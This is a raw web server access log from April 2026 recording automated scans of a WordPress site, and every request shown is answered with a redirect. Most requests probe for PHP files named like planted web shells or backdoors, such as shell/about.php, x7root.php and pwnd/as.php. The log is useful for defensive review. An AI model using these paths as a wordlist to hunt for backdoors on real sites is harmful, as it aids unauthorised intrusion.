/sko.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:54 +0300] "GET /shorw.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:57 +0300] "GET /shelp.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:59 +0300] "GET /seyv.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:01 +0300] "GET /sad821.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:03 +0300] "GET /sad8210.php HTTP/1.1" 301 795 "-" "-" 91.200.161.250 - - [24/Apr/2026:01:26:54 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.161.0.169 - - [24/Apr/2026:01:52:55 +0300] "GET /casp1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:58 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:01 +0300] "GET /lov.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:04 +0300] "GET /knw.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:07 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:10 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:15 +0300] "GET /wp-k7djufwez2.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:17 +0300] "GET /wp-tiroto.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:19 +0300] "GET /son.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:21 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:23 +0300] "GET /99.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:26 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:29 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:31 +0300] "GET /ay.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:34 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:38 +0300] "GET /wp-includes/theme-compat/options.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:41 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:45 +0300] "GET /1a.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:48 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:50 +0300] "GET /file-kikikoko.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:53 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:55 +0300] "GET /tramuibs.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:53:58 +0300] "GET /19.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:36 +0300] "GET /gelio1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:42 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:46 +0300] "GET /wp-zx.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:49 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 194.26.192.34 - - [24/Apr/2026:03:12:27 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91" 31.57.184.107 - - [24/Apr/2026:04:32:09 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 104.194.157.128 - - [24/Apr/2026:04:32:08 +0300] "GET /wp-content/plugins/ninja-forms-uploads/assets/css/file-upload.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0" 125.163.138.171 - - [24/Apr/2026:04:29:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 57.141.20.33 - - [24/Apr/2026:07:17:09 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 120.71.59.24 - - [24/Apr/2026:07:37:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [24/Apr/2026:05:41:09 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 107.148.27.37 - - [24/Apr/2026:08:03:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 216.244.66.194 - - [24/Apr/2026:07:07:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.157.38.228 - - [24/Apr/2026:07:15:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 213.209.159.185 - - [24/Apr/2026:05:51:39 +0300] "GET /wp-includes/accesson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 104.28.208.60 - - [24/Apr/2026:08:32:54 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 216.244.66.194 - - [24/Apr/2026:08:52:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 170.106.73.216 - - [24/Apr/2026:08:23:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 23.137.105.214 - - [24/Apr/2026:09:40:59 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 61.158.175.38 - - [24/Apr/2026:09:41:08 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 194.26.192.241 - - [24/Apr/2026:11:15:17 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 31.220.83.22 - - [24/Apr/2026:12:34:56 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.241 - - [24/Apr/2026:11:15:05 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 31.13.115.18 - - [24/Apr/2026:11:26:43 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 31.220.83.22 - - [24/Apr/2026:12:33:32 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 80.90.184.30 - - [24/Apr/2026:10:40:22 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 194.26.192.241 - - [24/Apr/2026:11:15:22 +0300] "GET /cgi-bin/postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 66.132.172.205 - - [24/Apr/2026:11:55:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 148.251.4.168 - - [24/Apr/2026:13:22:20 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 52.169.206.229 - - [24/Apr/2026:13:49:45 +0300] "GET /file0.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:49 +0300] "GET /wp-alone.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:18 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:22 +0300] "GET /wp-content/themes/twentytwentyfive/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:22 +0300] "GET /wp-includes/blocks/buttons/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:22 +0300] "GET /class-bda.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:48 +0300] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:04 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:38 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:57 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:00 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:47 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:07 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:00 +0300] "GET //cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:41 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:03:26 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:03:42 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:03:42 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 80.241.216.17 - - [24/Apr/2026:14:07:49 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:43 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:44 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:48 +0300] "GET /assets/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:55 +0300] "GET /components/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:56 +0300] "GET /files/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 156.67.26.52 - - [24/Apr/2026:13:18:24 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.169.206.229 - - [24/Apr/2026:13:51:23 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:23 +0300] "GET /.dj/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:38 +0300] "GET /one.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:52 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:56 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:00 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:30 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:34 +0300] "GET /.well-known/nastar.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:31 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:57:33 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:12 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:00:17 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:00:17 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:00:55 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:01:01 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:13 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:34 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 216.244.66.194 - - [24/Apr/2026:14:37:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 195.3.220.88 - - [24/Apr/2026:15:07:47 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:47 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:47 +0300] "GET /images/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 168.144.75.9 - - [24/Apr/2026:12:58:10 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 156.67.26.52 - - [24/Apr/2026:13:18:48 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.169.206.229 - - [24/Apr/2026:13:49:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:50:08 +0300] "GET //x7root.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:59 +0300] "GET /yasnu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:36 +0300] "GET /ref.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:57 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:01 +0300] "GET /2468.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:03 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:13 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:35 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:20 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:20 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:23 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:23 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:27 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:27 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:31 +0300] "GET //admin1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:00:40 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:17 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:03:20 +0300] "GET /hypo.php HTTP/1.1" 301 795 "-" "-" 195.3.220.88 - - [24/Apr/2026:15:07:49 +0300] "GET /img/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:51 +0300] "GET /components/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 52.169.206.229 - - [24/Apr/2026:13:49:52 +0300] "GET /t3s.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:49:58 +0300] "GET /crgio.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:07 +0300] "GET /locales.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:31 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:31 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:27 +0300] "GET /bhm.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:32 +0300] "GET /xmu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:50 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:23 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:26 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:38 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:57:26 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:57:44 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:57:49 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:57:53 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:57:57 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:00 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:03 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:29 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:44 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:44 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:44 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:01:07 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:01:40 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:01:51 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:03:36 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 195.3.220.88 - - [24/Apr/2026:15:07:50 +0300] "GET /img/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 52.169.206.229 - - [24/Apr/2026:13:50:30 +0300] "GET /77.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:43 +0300] "GET /wp-xme.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:53 +0300] "GET /ktfow.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:13 +0300] "GET /amdin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:17 +0300] "GET /huya.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:17 +0300] "GET //wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:17 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:56 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:17 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:05 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:38 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:00:02 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:50 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:50 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:59 +0300] "GET /drykl.php HTTP/1.1" 301 795 "-" "-" 195.3.220.88 - - [24/Apr/2026:15:07:43 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:44 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:46 +0300] "GET /test/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 52.169.206.229 - - [24/Apr/2026:13:50:59 +0300] "GET /solo1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:11 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:43 +0300] "GET /no20.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:27 +0300] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:39 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:43 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:43 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:48 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:45 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:57:04 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:22 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 43.155.26.193 - - [24/Apr/2026:13:58:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.206.229 - - [24/Apr/2026:13:58:43 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:43 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 